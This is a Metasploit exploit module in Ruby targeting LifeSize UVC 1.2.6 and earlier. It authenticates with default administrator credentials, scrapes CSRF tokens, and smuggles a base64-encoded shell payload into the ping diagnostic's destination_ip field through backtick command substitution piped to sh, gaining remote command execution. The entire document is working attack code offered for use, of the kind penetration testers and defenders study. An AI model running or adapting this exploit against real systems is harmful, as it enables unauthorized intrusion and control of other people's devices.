## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "LifeSize UVC Authenticated RCE via Ping", 'Description' => %q{ When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker can abuse the ping diagnostic functionality to achieve remote command execution as the www-data user (or equivalent) }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry ' #discovery/metasploit module ], 'References' => [ ['EDB', '32437'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['LifeSize UVC version <= 1.2.6', {}] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' } }, 'DisclosureDate' => "Mar 21 2014", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with', 'administrator']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin123']) ], self.class) end def exploit res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'accounts', 'login/') }) if !res or !res.body fail_with("Server did not respond in an expected way") end if res.code != 200 fail_with("Did not get a 200 response, perhaps the server isn't on an SSL port") end token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body) if token.length < 2 fail_with("Could not find token on page.") end token = token[1] post = { 'csrfmiddlewaretoken' => token, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } #referer is required res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'accounts/'), 'method' => 'POST', 'vars_post' => post, 'headers' => { 'Referer' => 'https://' + datastore['RHOST'] + '/accounts/' }, 'cookie' => 'csrftoken=' + token }) if !res fail_with("Server did not respond in an expected way") end #we want a 302, 200 means we are back at login page if res.code == 200 fail_with("Authentication failed. Please check your username and password.") end cookie = res.get_cookies new_cookie = 'csrftoken=' + token + '; ' + cookie res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'), 'cookie' => new_cookie }) if !res or !res.body fail_with("Server did not respond in an expected way") end token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body) token = token[1] new_cookie = 'csrftoken=' + token + '; ' + cookie pay = 'csrfmiddlewaretoken='+token pay << '&source_ip=' + datastore['RHOST'] pay << '&destination_ip=go`echo ' + Rex::Text.encode_base64(payload.encoded) + '|base64 --decode|sh`ogle.com' #referer is required res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'), 'method' => 'POST', 'headers' => { 'Referer' => 'https://' + datastore['RHOST'] + '/server-admin/operations/diagnose/ping/' }, 'cookie' => new_cookie, 'data' => pay }) end end